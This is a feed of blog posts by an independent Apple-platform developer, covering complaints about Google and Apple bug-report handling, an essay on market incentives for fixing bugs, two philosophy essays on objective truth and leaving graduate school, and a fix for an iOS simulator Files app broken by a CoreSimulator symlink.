The psychology of fixing bugs, Part 2: Google https://lapcatsoftware.com/articles/2025/9/1.html 2025-09-10T17:15:00Z 2025-09-10T17:20:00Z My previous blog post, which I now retrospectively call Part 1, was about the lengths to which some software developers will go to avoid fixing bugs, and how the market fails to incentivize bug fixes. I argued that developers need to care about software quality independently of financial considerations, because the market won’t force them to care. My blog post focused mainly on Apple, because most of my experience is with Apple, as a software developer on Apple platforms. Occasionally I file bug reports with other BigCos, such as Google, and my experience has not been much better. As hard as it is to believe, in some ways it’s worse!

In June 2024 I filed a Chromium bug report: Auto-open DevTools for popups doesn't work for window.open(). The bug was reproduced by Google, so it’s a valid bug that continues to exist in the Google Chrome web inspector. Perversely, however, Google has an automated system that encourages engineers to close Chromium bugs:

This issue has been on the backlog for over a year. If it's no longer important or seems unlikely to be fixed, please consider closing it. If it is important, please re-triage the issue.

Sorry for the inconvenience if the issue really should have been left on the backlog. You can disable further nags by adding Disable-Nags (case sensitive) to the Chromium Labels custom field.

Notice the false dichotomy: “important” or not, as if only important bugs can or should be fixed. That’s a great way for smaller bugs to pile up and eventually become a mountain.

In response to the automated prompt, a Google engineer indeed closed the bug report with the status “Won’t fix (Infeasible).”

It's unlikely that we will get to this anytime soon, and it doesn't seem to affect a lot of users, hence I'm marking this as Won't fix for now.

It’s unclear how the engineer knows the number of users affected. Anyway, I asked what “for now” is supposed to mean. Their response:

for now means that if this issue turns out to affect a significant portion of users, we'd likely re-open and re-prioritize it. It's also quite possible that this issue could become part of the Bug Bounty program if there's demand for a fix. Or you could decide to investigate and send a patch yourself, in which case we'd also re-open the issue and review the fix.

Generally, the Chrome DevTools team has limited capacity and we try to focus our energy on investments that benefit a wide range of users.

I’m puzzled by the mention of a bug bounty, because the only bounty program I’m aware of is for security issues, and since this is a developer tools bug, it’s unlikely to be a security issue; thus, the “quite possible” qualifier seems strange and out of place.

I have to roll my eyes at the “limited capacity” of the Chrome DevTools team, especially following the suggestion that I investigate and fix the bug! I’m a one-person company. Moreover, most of my web browser extension customers use Apple Safari rather than Google Chrome. And I have no familiarity with the Chromium code base, having never submitted a patch to the project. The idea that their capacity is somehow more limited than mine is ridiculous. Google’s revenue last quarter was almost $100 billion. My company’s revenue last quarter was 5 figures. I don't want to hear any crocodile tears from one of the world’s largest and most profitable corporations about “limited resources.” If anyone in the world has practically limitless resources, it’s Google. Don’t tell me to fix your damn bugs, especially for no compensation.

The Google engineer’s attitude is undoubtedly a product of the company culture. Worse than any individual engineer’s remarks is the system that clearly incentivizes ignoring and closing bugs without fixing them. The worst part is that the longer a bug is ignored, the greater the excuse is to ignore it forever. Google appears to want its engineers to ignore bugs and pretend they don’t exist, out of sight, out of mind, even 100% reproducible bugs.

]]>
The psychology of fixing bugs https://lapcatsoftware.com/articles/2025/8/8.html 2025-08-28T16:55:00Z 2025-08-28T17:05:00Z My last blog post Apple wants a sysdiagnose for a feature request inspired me to think about the lengths to which some software developers will go to avoid fixing bugs. To clarify, my last blog post was about a feature request, not a bug, but the point was that a sysdiagnose is used to investigate bugs, and thus it was illogical and absurd to ask me for a sysdiagnose in this case. If you're not familiar with what a sysdiagnose is, there’s a man page on macOS:

The sysdiagnose tool gathers system diagnostic information helpful in investigating system performance issues. A great deal of information is harvested, spanning system state and configuration.

If you’ve ever taken a sysdiagnose and examined the contents, you may have found that it’s a personal privacy nightmare. A sysdiagnose effectively allows anonymous Apple engineers to root around your computing device (literally, a sysdiagnose runs as root). That’s why I refuse to upload sysdiagnoses to Apple. The irony is that Apple markets itself as the privacy company; IMO that’s BS. Unfortunately, Apple leadership has decided to establish the sysdiagnose as the primary tool for investigating customer issues: software engineering teams are allowed not only to request a sysdiagnose in response to bug reports as a matter of course but also to ignore bug reports that do not include a sysdiagnose!

How can Apple ignore bug reports? Does the free market not punish a company for this behavior? In a word…

Craig Federighi: No.

There are two fundamental reasons why the market fails to incentivize software quality: (1) consumers have limited choices, and (2) consumers have limited information. Windows and macOS form a global duopoly of consumer desktop computing operating systems; Android and iOS form a global duopoly of consumer mobile computing operating systems. If you go to a retail store such as Best Buy, all of the available computing devices run one of those four operating systems, controlled by three corporations. Consequently, if a consumer is upset about a bug in their OS, they have only one practical alternative. Moreover, operating systems are not interchangeable or modular. For any given bug in an OS, the alternative OS may not have that one specific bug, but it will have other bugs, and the cost of switching is large, both financially and logistically, because you’re switching ecosystems. For example, if you want to switch operating systems, you have to buy a different device: no smartphone will run both Android and iOS, no new desktop will run both Windows and macOS. (Intel Macs did support Windows via Boot Camp, but Apple has switched entirely from Intel processors to Apple silicon.) By switching platforms, consumers can’t simply escape bugs without disrupting their entire computing experience and workflow.

As a longtime software developer in the Apple ecosystem, I’m very familiar with Apple bugs. I experience them myself while using my Apple devices all day, every day. I receive reports from my customers that turn out to be bugs in the OS or Safari. I file some of those with Feedback Assistant or the WebKit Bugzilla. I keep abreast by following Michael Tsai’s blog and other sources of Apple news. Even so, my knowledge of Apple bugs is just a needle in a haystack, and while we can search all (non-security) bug reports in the WebKit Bugzilla, we can’t search all bug reports in Apple’s Feedback Assistant.

Bug Report issue filed August 4, 2010: Provide a public, searchable bug database

I would say that only Apple knows how many bugs exist in its software and how serious those bugs are, but not even that is true, because Apple makes bug filing painful—the sysdiagnose requirement mentioned earlier, and in a number of other ways that have been discussed over the years ad nauseam by developers, including me—so painful that many people don’t bother filing bug reports with Apple. I certainly don’t bother in many cases. With regard to fixing bugs, I get the impression that Apple management is committed to laziness, for lack of a better word. That is, Apple is interested in bug reports only to the extent that fixing the bugs becomes quick and easy, so Apple places all of the burden on the reporter of the bugs, and if a proper TPS report is not included, the bug won’t get fixed. After all, there are countless more bug reports in the queue! In this way, a company’s technical debt is weaponized against the company’s customers: the fact that older bug reports were successfully ignored justifies ignoring new bug reports.

In general, before buying a product, a consumer may have very limited knowledge about the quality of the product. That’s one of the reasons consumers tend to be more sensitive to price than to quality. Of course consumers have only a limited amount of money to spend, which is another crucial reason why they’re sensitive to price, but nobody wants to waste money on a crappy, disappointing product, and sometimes paying a higher price is worth it in exchange for higher quality, as long as the return on investment is known in advance. In lieu of direct, prior experience with the product, consumers have to rely on the product’s reputation and the experience of friends or experts. As an Apple expert, though (if I do say so myself), my knowledge of Apple software quality is still quite limited, and my knowledge of Android and Windows software quality is minimal.

This was a long-winded explanation of why the free market fails to incentivize bug fixes. If a specific bug becomes infamous, receiving widespread attention in the news media, then Apple might prioritize a fix, addressing it quickly, because the bug would affect Apple’s reputation with consumers. In most cases, though, bugs fly under the Radar (pun intended). As long as Apple maintains its public reputation, at least in comparison to its few competitors, as long as the cost of switching is high, and as long as the news media neglects to hammer continuously on laundry lists of bugs, there’s little or no financial incentive to fix bugs. The splashy new features always get vastly more press coverage.

It’s often claimed by people who are technically sophisticated (apologists) that people who aren’t technically sophisticated “don’t care” about bugs. This is not my experience, from supporting my customers, from perusing social media, from talking to people in person. And I’ve acted as technical support for family members too. So-called “ordinary” people do in fact notice bugs, are affected by bugs, are tormented by bugs. Nonetheless, given their limited options and limited knowledge, consumers are unable to act individually and effectively in a way that would fundamentally change the preexisting incentives for giant corporations. We’re all stuck in the same system.

So am I arguing that software developers should deprioritize bug fixes? No, of course not! I am arguing that we can’t rely on the market to provide financial incentives to prioritize bug fixes. The main reason to fix bugs in your product is that you care about your product and about the users of your product. You have to care independently of financial considerations. This is not an issue of short-term vs. long-term thinking: both Apple and Microsoft are now about 50 years old, yet they continue to ignore bugs, because they can, and because stockholders of those publicly owned corporations demand unlimited growth. Neither the short-term nor the long-term financial incentives force you to maximize product quality over quantity.

I don’t fix every bug in my products. I wish I could though! I maintain a public list of known issues for my main product, StopTheMadness Pro, which is a web browser extension. To be honest, these are not all of the issues known to me, just the most prominent issues. Many of the issues on my list describe a workaround to avoid it. Some of the issues with the extension are not my fault but rather the fault of the web browser vendors, either unintentional browser bugs or intentional limitations that the browsers place on extensions. Other issues are due to an incompatibility between my extension and the website into which my extension injects code (CSS and JavaScript). The website developers and I are essentially fighting over the user experience, and sometimes the website wins! In any case, however, I investigate every bug report from customers, rapidly and thoroughly. Often I ask for screenshots, screen recordings, or other files, but I don’t require them in order to investigate the issue, and I’ve never asked for a sysdiagnose. I’ll sometimes spend an inordinate amount of time on one bug report from one customer. In my opinion, one of the biggest benefits of self-employment is that I don’t have a boss hovering over me dictating how I spend my time. If I want to “waste” time investigating a bug, I can! I can deliberately not maximize profit. In this respect, I have more power than someone like Apple CEO Tim Cook, who despite his massive financial compensation compared to me (and almost everyone else) is still merely an employee.

I prioritize bug fixes because I care. I empathize with software users, because I’m a software user too, and I hate bugs in software that I use! I more or less follow the Golden Rule, treating users as I would wish to be treated. I don’t pretend that I’m free from financial considerations: I have bills to pay too. The good news is that it’s possible for a software developer to make a good, sustainable living while prioritizing bug fixes instead of pursuing profit above all else. I’ll never be a trillion dollar corporation, and that’s fine with me. I don’t even want to become a trillion dollar corporation. On the other hand, I believe it’s possible for a corporate CEO to care too, as long as the CEO continues to deliver good financial returns to investors. The job does not absolutely require one to care about nothing but profit maximization, always sacrificing product quality; that’s a personal choice of the CEO.

]]>
Apple wants a sysdiagnose for a feature request https://lapcatsoftware.com/articles/2025/8/7.html 2025-08-25T15:45:00Z 2025-08-25T17:40:00Z In October 2023, I filed a feature request with Apple’s Feedback Assistant: (FB13289075) Provide a setting to make oslogToStdio the default. Below I quote the full content of my request, with a screenshot at the end of this blog post.

According to the Xcode 15 release notes, "To customize the behavior of logging, edit the Run scheme action to set the environment variable IDELogRedirectionPolicy. The value “oslogToStdio” redirects os_log messages to standard IO and formats them in a style identical to previous versions of Xcode." https://developer.apple.com/documentation/xcode-release-notes/xcode-15-release-notes#Console

I would like a global Xcode setting to make this behavior the default, because I hate the new, buggy Xcode 15 behavior. It's very inconvenient to have to set a custom environment variable in every old and new Xcode project that I ever use.

Related bugs: FB13268283, FB13270074, FB13289059

For almost two years, I received no response to my request from Apple, which is typical. Then yesterday, on a Sunday for some reason, I finally received a response.

After reviewing your feedback, we have some additional information for you, or some additional information, or action is necessary for this issue:

Is this still an issue for you in a recent build? If so, please attach fresh sysdiagnose logs and any other relevant information, or documents that might prove useful in reproducing this issue.

If not, please close this feedback report.

Thanks!

—————————————————————————————————
Release and Beta OSes and Applications Downloads Link:
https://developer.apple.com/download/

The complete list of logging instructions is available here:
https://developer.apple.com/bug-reporting/profiles-and-logs/
—————————————————————————————————

My feedback was specifically categorized as a “Suggestion,” as shown in my screenshot below, and my description includes a quote from and link to Apple’s own Xcode developer documentation explaining the behavior under discussion. Thus, it’s utter nonsense for Apple to ask for a sysdiagnose. It’s painfully obvious that nobody read or understood my feature request before replying to it.

I think that somebody at Apple should be fired for crap like this. I don’t mean a lower-level bug screener who was just following orders; I mean someone much higher up in management, preferably Craig Federighi (who already deserves firing for systematically degrading the best consumer operating systems ever created) but in any case someone who matters and gives the orders. Feedback Assistant is an ongoing joke—has been for many years, only getting worse over time—that does a great disservice to third-party developers (many of whom pay for the “service” via App Store revenue and annual developer program fees) as well as to Apple itself… unless the purpose of Feedback Assistant is merely to provide the illusion of caring about feedback, in which case it works marvelously.

Screenshot of Feedback Assistant app

Addendum

After reading this blog post, some developers told me that Apple ridiculously asked them for a sysdiagnose in response to Feedbacks about Apple’s developer documentation on the web and the new disk icon on macOS Tahoe. This madness has to stop!

]]>
A critique of philosophical objectivity https://lapcatsoftware.com/articles/2025/8/6.html 2025-08-25T14:40:00Z 2025-08-25T14:40:00Z This is a follow-up to my post Academic philosophy: my quixotic quest. I’d like to explain in a bit more detail why I think we don’t need a theory of truth and how this relates to what philosophers call “objective” truth, that is, truth independent of humans in some crucial sense. Here are a couple of quotes from my previous post:

The extraordinary efficiency of human communication is also its limitation. Almost everything we say abstracts in countless ways from the fine details. Isn’t a conversation a kind of rough draft? Our concepts don’t need to be fully formed, complete with universal rules, to be useful. I’m not sure why we need answers to questions such as what is truth? what is knowledge? what is justice?
I would be surprised if our concept of knowledge could be formulated with universal principles, as if it were a law of nature. This feels like philosophers imposing a faux order on what is disordered. Is there a good reason to think that our concepts are not inherently messy, haphazard?

For lack of a better word, I’ll use the term representation broadly in reference to things that we judge true or false, accurate or inaccurate: assertions, beliefs, descriptions, statements, etc. Already we encounter a problem with philosophical theories of truth, because accuracy and inaccuracy can come in degrees, and even “true” admits of comparatives, e.g, “truer,” “partly true,” but philosophers tend to treat truth and falsity as absolute and exhaustive. Although I think this issue is important, I’ll postpone discussion of it momentarily in order to clarify, as much as I can understand, the position(s) that I’m arguing against. What exactly do philosophers mean by objective truth?

Let me start by ruling out one interpretation. A distinction is commonly made between objective statements such as “the current temperature is 72 degrees Fahrenheit” and subjective statements such as “the current temperature is pleasant.” The latter is said to be subjective because different people consider different temperature ranges to be pleasant. However, I don’t think that's quite the notion we seek. After all, it’s possible for a person to lie about whether the current temperature is pleasant, perhaps out of politeness, or to exhibit equanimity. Thus, philosophers would say, even though pleasantness is relative to the individual, these so-called subjective statements can still be objectively true or false.

An attitude that I share with philosophers, and indeed with non-philosophers, is that our judgments about truth and falsity are inherently correctable. Nobody, with a few religious exceptions, is considered infallible. Where I disagree with most philosophers, as far as I can tell, is about whether something independent of us makes our assertions and beliefs—our representations, as I’ve called them—true or false, providing the ultimate basis for correcting or validating our judgments of truth and falsity. The truth-making relationship should not be understood as temporal, like cause and effect, but more like logical implication; in other words, our representations are true under certain specific conditions, their truth conditions, which may include facts about which we are ignorant. This notion is often, though not always, expressed as the correspondence theory of truth, i.e., truth is correspondence with reality. I think the theory is hopelessly vague, but our lack of knowledge about the details of the truth-making relationship doesn’t appear to deter philosophers, so I have to assume that the correspondence theory is a result of their commitment to the existence of some kind of objective truth-making, not the rationale for that commitment.

At this point, I’d like to take a detour to discuss a form of representation not usually considered in the context of objective truth: painting. I’m also going to return to the aforementioned issue of accuracy and inaccuracy. A painting, for example a portrait, can depict its subject with varying degrees of accuracy. Some paintings are extremely accurate, almost photographic in quality. Other paintings are much less accurate, either intentionally, for the sake of art (think Picasso), or unintentionally, for lack of skill by the painter. In any case, though, there’s no such thing as a perfect portrait, a portrait that’s perfectly accurate, in every way. The impossibility of creating such a portrait is not due to the imperfection of painters. Rather, the fault lies with the materials: canvas and paint. A painting is inherently different from what it represents. For example, needless to say, a person consists of flesh and blood, not canvas and paint! A painting is inanimate and flat, whereas a live person breathes, moves, and is somewhat round. Paintings and persons differ in countless ways, so when we look at a portrait, what does it mean for the portrait to be accurate? We choose to ignore many differences, considering them irrelevant, or at least unavoidable given the nature of painting, and focus on the similarities. Painting is a human activity, judged by human standards. A nonhuman, “objective” art critic does not exist.

Our most basic forms of representation are innate: the senses, such as sight, hearing, and touch. Our eyes tell us that the world consists of distinct, solid objects, usually separated by empty space, although if the light is just right, and you look closely, you can see dust floating in that space. And if the weather is just right (or just wrong), the solid objects are obscured by fog. Even fog appears somewhat solid, however. We can’t see individual water molecules, or hydrogen, oxygen, and nitrogen atoms for that matter; we didn’t know that air consisted of such things until scientists discovered them. But that was not the end of the story, despite the fact that the English word “atom” derives from “atomos” in Greek, which means indivisible! Scientists later found that the atom was divisible into protons, electrons, and neutrons, and that was not the end of the story either. The question is, how can our ordinary discourse about visible solid objects and our scientific discourse about invisible particles (or waves, as the case may be) both be true, if indeed they are true?

From my perspective, all representation—including our languages, including our formal (logical) systems, including our science—is analogous to painting in the sense that representation is a human activity judged by human standards, our representations inescapably abbreviated, imprecise, and idiosyncratic. How much can we really say about the world in a 6-word sentence, for example? Or take a whole paragraph if you like! We call something “true” when we consider it true enough, for our purposes, in the current context. This is not a definition or theory of truth but rather a behavioral observation about our judgments.

Representation of the world is an essential activity, a matter of life and death, which is why we, the survivors of natural selection, possess innate senses. To an extent, our eyes already know what they’re looking for before we open them for the first time. It wouldn’t be particularly helpful for us to see individual atoms: a single human cell contains trillions! We would get completely lost in the details, missing the forest for the trees, as it were, or missing the predators for their microscopic parts. That’s why our senses are largely oblivious to these details. Our vision divides the world into a relatively small number of objects, small enough that we can reasonably formulate plans of action regarding those objects: eat this, run away from that.

The act of representation is inextricably tied to the concepts of accuracy and truth, because the purpose is to present something real, not a fantasy or invention. Our judgments of accuracy and truth are constrained and influenced by the reality outside of ourselves, and our judgments may change as we learn more about that reality, since nobody is omniscient. Nonetheless, nonhuman reality cannot render judgment on our representations, because it does not share our human purposes, our limitations, our compromises, or our conventions. For truth to be philosophically objective, essentially independent of humans, there would have to be something like a nonhuman critic of assertions and beliefs, with standards apart from and beyond “true enough for our purposes in the current context.”

I see no reason to believe that such an objective critic exists, and even if one did, how would the critic judge our ordinary, nonscientific beliefs and statements about macroscopic, solid objects? Suppose, as a thought experiment, that only the latest, greatest theories of physics—quantum mechanics?—were objectively true, and our prescientific beliefs were objectively false. In that case, we couldn’t even talk truthfully about ourselves anymore, because we are solid objects with identity over time, the type of things just declared false. Note that physics has no solution to philosophical problems such as the ship of Theseus and the paradox of the heap, does not even attempt to solve those problems. And if “we” as solid objects with identity over time are not “real,” then neither are our beliefs and statements, our representations, the very things that are supposedly true or false objectively. My rhetorical point is that our age-old conception of truth cannot be separated from our other age-old conceptions, and the philosophical desire to impose a rational reconstruction on truth quickly falls into nonsense. The only way to rescue the notion of objective truth from this reductio ad absurdum is to argue that both our ordinary discourse and scientific discourse can be objectively true. This is not to say that our current scientific theories must be true (although I think it’s ironic to suggest that our ancient “folk” beliefs are somehow less objectively fallible than our most advanced science), merely that whatever the ultimate scientific truth happens to be, it’s compatible with the objective truth of our ordinary discourse.

We want to say that a macroscopic object, a person for example, is composed of atoms, and I have no objection to that: it’s true enough, so to speak. But is it objectively true? Philosophers want to say that truths about macroscopic objects are somehow grounded or implied by more “fundamental” truths about microscopic objects. I consider this to be glorified hand-waving. I ask a philosopher, exactly which atoms constitute you, a person? They have no answer. They’re left speechless. Never mind the fact that atoms are constantly entering and leaving your body, greatly complicating an already complicated problem. Philosophers may fall back to the position that a truth about a macroscopic object does not depend on one specific configuration of atoms in the world but only on a range (perhaps infinite in number) of possible configurations of atoms, any one of which, if actually instantiated in the world, would make some belief or statement about a macroscopic object true. I think that just trades one form of hand-waving for another. For any given truth, what exactly is the range of possibilities, and how do our representations magically pick out one specific set of possibilities out of all possibilities? Philosophers who believe in objective truth appear to be committed to the existence of some kind of precise mapping between truths about macroscopic objects and truths about microscopic objects, even if they can’t ever specify the mapping. At best, they’ve presented only the vaguest outline of a theory of the structure of a mapping. In other words, more hand-waving.

My view, in contrast, is that our ordinary discourse and our scientific discourse are just two forms of representation, both attempting to describe the world, both valid perspectives in some contexts, for some purposes, yet only vaguely related to each other and not interchangeable for all practical purposes. Something is always lost in translation. That doesn’t mean there are two different worlds, parallel realities! It just means that every representation of the world is incomplete, due to its inherent limitations and our inherent limitations, and different forms of representation may be incomplete in different ways, focusing on some aspects of the world, necessarily ignoring many others.

Representation is an art. It’s fundamentally creative, because the world does not provide us with a blueprint or manual for itself. We humans are on our own in the world. Much of our representation, including much of science, is simplification, cutting the world into bite-sized chunks for easy digestion. Simplification is a necessity for mere mortals, who are not omniscient, not omnipresent, not omnipotent. Art is not opposed to science: on the contrary, the two can aid each other. The skill of a painter is enhanced by knowledge of the physical properties of the medium, as well as the physics of light and color. And a physicist may employ fanciful thought experiments in pursuit of a theory; this was famously a common practice of Albert Einstein.

The rejection of objective truth does not imply the acceptance of relativism. I don’t intend to replace the claim that truth is somehow independent of humans with the claim that truth is somehow relative to humans. Again, I’ve studiously avoided offering any theory of truth, which I think is a specious goal. Moreover, I can’t make much sense of relativism, except perhaps an extreme form of solipsism according to which truth differs for every person. I’m certainly not a solipsist, but I can at least entertain the idea, whereas so-called “cultural relativism,” the view that truth is determined by your culture and can differ between cultures, immediately falls short on the specification of cultures. Who exactly are the members of your culture, how is it constituted, what happens when cultures change or merge, and what about people who move between cultures? The theory of truth as correspondence with culture suffers the same kind of hopeless vagueness as the theory of truth as correspondence with reality.

The most pernicious kind of relativism is the Orwellian dystopia where truth is just what the Party tells you. Perhaps some people grasp desperately at the notion of objective truth out of fear of such totalitarianism, as a means of resistance. Although lies and propaganda are indeed real, serious problems, they’re neither scientific nor philosophical problems but rather social and political problems. You can’t simply point to something outside of yourself—objective reality—and then declare victory over your political opponents. That’s not how serious problems are solved. Nonhuman reality is not going to come to our rescue, objective truth acting as deus ex machina; if we are to be saved, we have to save ourselves. It’s a human struggle.

Truth-seeking, describing the world, is a collective endeavor. You wouldn’t get very far if you worked entirely alone, eschewing books, teachers, even the internet! No particular person or group directs the endeavor. There are people with fancy titles and fancy suits, in charge of particular publishers, universities, laboratories, and government agencies, yet there’s no Ministry of Truth for humanity. Practically everyone participates in truth-seeking, cooperating, sharing and receiving knowledge, often just by observing and talking. It’s like language itself, of which assertions, claims, descriptions, and statements are a part. Speaking a language is an activity open to anyone, of any age and background. For better or worse, the language pedants (I’m one of them!) are frequently disregarded. Slang arises from all corners and may ultimately become widely accepted and enshrined in dictionaries. Language is open-ended. I think of truth in this way too. It’s a kind of collective aspiration, though ill-defined. The propagandists are distinguished not by their opposition to objective truth but by their selfish motivations, their opposition to collective truth-seeking, aggressively undermining it via bad faith engagement.

I think it’s a philosophical mistake to treat truth like a completed whole, independent of us, as if nonhuman reality has already considered all of our beliefs, spoken all of our sentences, written all of our books, taken all of our measurements, calculated all of our formulas, drawn all of our diagrams, painted all of our paintings. We didn’t create the world, but we did create representations of the world. The non-sentient world doesn’t describe itself, nor does it care about our descriptions of it. The notion that it makes our descriptions true or false feels to me like anthropomorphism. Our representations are not special or meaningful except to ourselves, and our appeals to an outside arbiter will go forever unanswered.

]]>
iOS simulator Files app broken by symlink https://lapcatsoftware.com/articles/2025/8/5.html 2025-08-17T14:20:00Z 2025-08-17T14:20:00Z I needed new App Store screenshots to submit an update of my iOS app, but I found that the Apple Files app was broken in the simulator, which prevented me from setting up my app properly for my screenshots. I couldn’t share a file on my Mac with the simulator. I couldn’t save a file on the simulator, for example from my own app or from the Apple Photos app, in the Files app. I couldn’t even create a new folder in the Files app. This breakage in Files app did not occur the last time that I took iOS App Store screenshots, several months ago.

I tried a lot of different things to debug the problem. I tried reproducing the problem on another Mac, but it didn’t reproduce. Finally, I successfully guessed the cause. Actually, I guessed the cause earlier, but I must have messed up my tests somehow, because I found the solution only on the second try. The cause was that I had created a symbolic link from ~/Library/Developer/CoreSimulator to /Users/Shared/Developer/CoreSimulator on my Mac. Apparently the Simulator app did not like that now, even though it worked before: my symlink is not new. Perhaps the Xcode 16.4 update broke it. The solution was to delete the symlink and go back to keeping the CoreSimulator directory inside the ~/Library/Developer directory.

I symlinked both ~/Library/Developer/CoreSimulator and ~/Library/Developer/Xcode to /Users/Shared/Developer/ in order to save space, because those directories can become extremely large, and I regularly back up home directory. (Don’t worry, I also back up the entire Data volume on my Mac, just not as often as my home directory.)

I tried searching the web for mentions of my problem, but I couldn’t find any, so my personal practice may be rare or even unique. I’m posting the solution here, in case someone else out there is looking. I may or may not file a Feedback; Apple has mostly ignored my Feedbacks lately. (Indeed, when hasn’t Apple mostly ignored my Feedbacks?)

]]>
Academic philosophy: my quixotic quest https://lapcatsoftware.com/articles/2025/8/4.html 2025-08-15T16:00:00Z 2025-08-15T16:00:00Z Almost twenty years ago, I abruptly dropped out of school in the middle of writing my doctoral dissertation in philosophy. Ironically, I had a paid dissertation fellowship at the time, awarded by the university on nomination from my department. I never explained why I left to my professors or fellow graduate students. In fact I never really explained why to anyone. I felt that I couldn’t explain, so I kept it bottled up inside all of these years. Periodically, I’ve started to write a blog post like this but always abandoned the effort. I finally decided that I had to finish now, if only for myself, because it became obvious that otherwise the urge to write would continue to niggle at me. In the interest of finishing, this post is much shorter than I would prefer—I may have foundered on prolixity in the past—though it may be longer than you would prefer. Let me clarify in advance that my reason for leaving was not interpersonal conflict. I generally liked the people and regret losing touch with them.

In short: I had been skeptical of academic philosophy practically from the beginning, even before I applied for grad school, but I naively believed that I could go against the grain, fight from the inside, maybe change some minds. This was a life-altering mistake that took me way too long to recognize. Perhaps I fell for the sunk cost fallacy, or perhaps I just didn’t know what else to do if not philosophy. I think what ultimately turned me around was the impending prospect that after I acquired a PhD, I would have to teach philosophy for the rest of my career, because of course that’s what professors are paid to do by universities.

I was always contemplative, from a very young age, so my attraction to philosophy was natural. Nonetheless, in my first year of studying philosophy at college I quickly became uneasy. Something felt off. My inner alarm started ringing. There was a bizarreness to some of the material I was reading, a kind of detachment from reality. It demanded a suspension of disbelief that I was reluctant to give. I actually began with logic, which you might assume would be uncontroversial. I assumed logic would be uncontroversial. The symbolic parts were easy for me, writing proofs. It was like a game, just puzzles to solve, no problem. When it came to the philosophical interpretation of the symbolism, though, I had a hard time taking things seriously. I couldn’t shake the impression that this was still largely a game, an artifice, rather than a source of knowledge. Truth-functional forms of argumentation such as modus ponens looked to me like caricatures. As far as I can tell, real people don’t formulate arguments like that, and real arguments have to be distorted, grossly oversimplified to force them into the pattern. I remember reading an article by V.H. Dudman, “Interpretations of ‘If’-sentences,” from the collection “Conditionals” edited by Frank Jackson, that offered empirical evidence of how logicians appeared to overlook facts about grammar. Unfortunately, Dudman was a relatively obscure figure in the field, not as widely discussed as I think he should have been.

Admittedly, my facility in symbolic logic helped me to emigrate from philosophy to my subsequent career, computer programming. I don’t think there’s anything philosophical about programming, though, except the historical inspiration by philosophers of some parts of computer science, with the consequence that the two fields share a lot of formalism. Programmers aren’t proving the truth of conclusions but rather providing instructions to a computer. When programmers write “if” statements in source code, the form is imperative, as can be seen by appending “else” clauses to the statements. The code tells the computer which path to follow, which instructions to execute, given the specified input to the program. The computer is not reasoning, just unthinkingly following our orders.

When I studied mathematical logic, I became quite troubled, for example by Cantor’s paradox, Russell’s paradox, and Gödel’s incompleteness theorems. These results are all very clever, the logicians responsible are certainly more clever than I am, and they provide interesting observations about the limits of formal systems. However, I was stunned by the almost mystical lessons that some logicians have drawn from the results, as if they’ve somehow discovered new universes parallel to the one we live in. In contrast, I don’t see anything profound that follows. When I create a set in my computer source code, I don’t believe I’ve thereby conjured something new into the world; it’s merely a convenient notation. My interpretation is that logicians are building models, which may be more or less useful but shouldn’t be taken literally. Of course I didn’t even find truth-functional logic to be particularly enlightening or significant.

As far as I’ve seen, the occupational hazard of professional philosophers is to take our language and our ideas too seriously. That way madness lies. In addition to the formal results mentioned above, you may have heard of informal problems such as the liar’s paradox, Theseus’s paradox, and the sorites paradox. Briefly, the liar’s paradox is a statement of the form, “This statement is false,” which is apparently false if it’s true and true if it’s false. Theseus’s paradox: if over time, as parts break or wear out, every plank and sail of the ship of Theseus (a mythical Greek king) is replaced until none of the original parts remain, is it still the same ship at the end? (The same question can be asked about a person and the cells of their body.) The sorites paradox: if you remove a single grain from a heap of sand, it’s still a heap, but if you continue to remove a single grain at a time, eventually only one grain will remain, which is not a heap, so at what point exactly does the heap disappear? (Similarly, giving one dollar to a poor person won’t make them rich, but if you continue giving them one dollar at a time, eventually the person will have a million dollars, or let’s say a billion dollars to account for inflation, at which point they’re indisputably rich, so when does the person become rich?) If you’re a professional philosopher, these are real problems, engendering thousands of real written pages of analysis and proposed solutions.

Philosophers never convinced me why I should be worried about vagueness, for example. It seems natural, indeed necessary. The extraordinary efficiency of human communication is also its limitation. Almost everything we say abstracts in countless ways from the fine details. Isn’t a conversation a kind of rough draft? Our concepts don’t need to be fully formed, complete with universal rules, to be useful. I’m not sure why we need answers to questions such as what is truth? what is knowledge? what is justice? Philosophers play a back and forth game, proposing a theory, say, that knowledge is justified true belief, and then entertain thought experiments, imagining elaborate hypothetical scenarios in order to “test” the theory. A counterexample, a Gettier case after Edmund Gettier, is said to refute the theory of knowledge as justified true belief, so the theory is adjusted to avoid the counterexample, or a novel theory of knowledge is proposed. My question is, why must there be a theory? Why do we assume that there exist clear principles that define knowledge?

A dictionary contains definitions of most popular words, including “truth,” “knowledge,” “justice,” and unpopular words too. However, a dictionary is a writing aid, not a philosophical treatise. Dictionaries briefly summarize common or accepted usage, as surveyed by the dictionary editors. The definitions are typically circular and devoid of surprises (at least to the erudite). Should a theory of knowledge be surprising? I would be surprised if our concept of knowledge could be formulated with universal principles, as if it were a law of nature. This feels like philosophers imposing a faux order on what is disordered. Is there a good reason to think that our concepts are not inherently messy, haphazard? I think the paradoxes suggest that our concepts are messy. What is a heap? What is a rich person? I know one when I see one, but I doubt there’s a principle behind it, an answer to the question of when a heap begins, when affluence begins. In my opinion, that’s not a problem in need of a solution. Our age-old concepts were never intended to withstand the assault of arbitrary philosophical thought experiments. Often a concept starts with some interesting individual examples, paradigms, and we extend the concept by similarity or analogy, without foreknowledge of where we’re headed. It’s not preordained that the story will end nicely, wrapping up all of the loose threads.

Essentially, I was an anti-philosopher intruding on philosophy. Sometimes I felt like an atheist in the priesthood. You can easily imagine how that would end badly, but I thought that philosophers would be more amenable to criticism. After all, philosophy advertises itself as a home to critical thinking. Some of my professors said that I was too critical, which may seem prima facie absurd. It turned out that they were right, in a way. I was too critical of and for my profession. But I’m not an anti-intellectual! I’m pro-intellectual, which makes my philosophical apostasy feel to me like disloyalty.

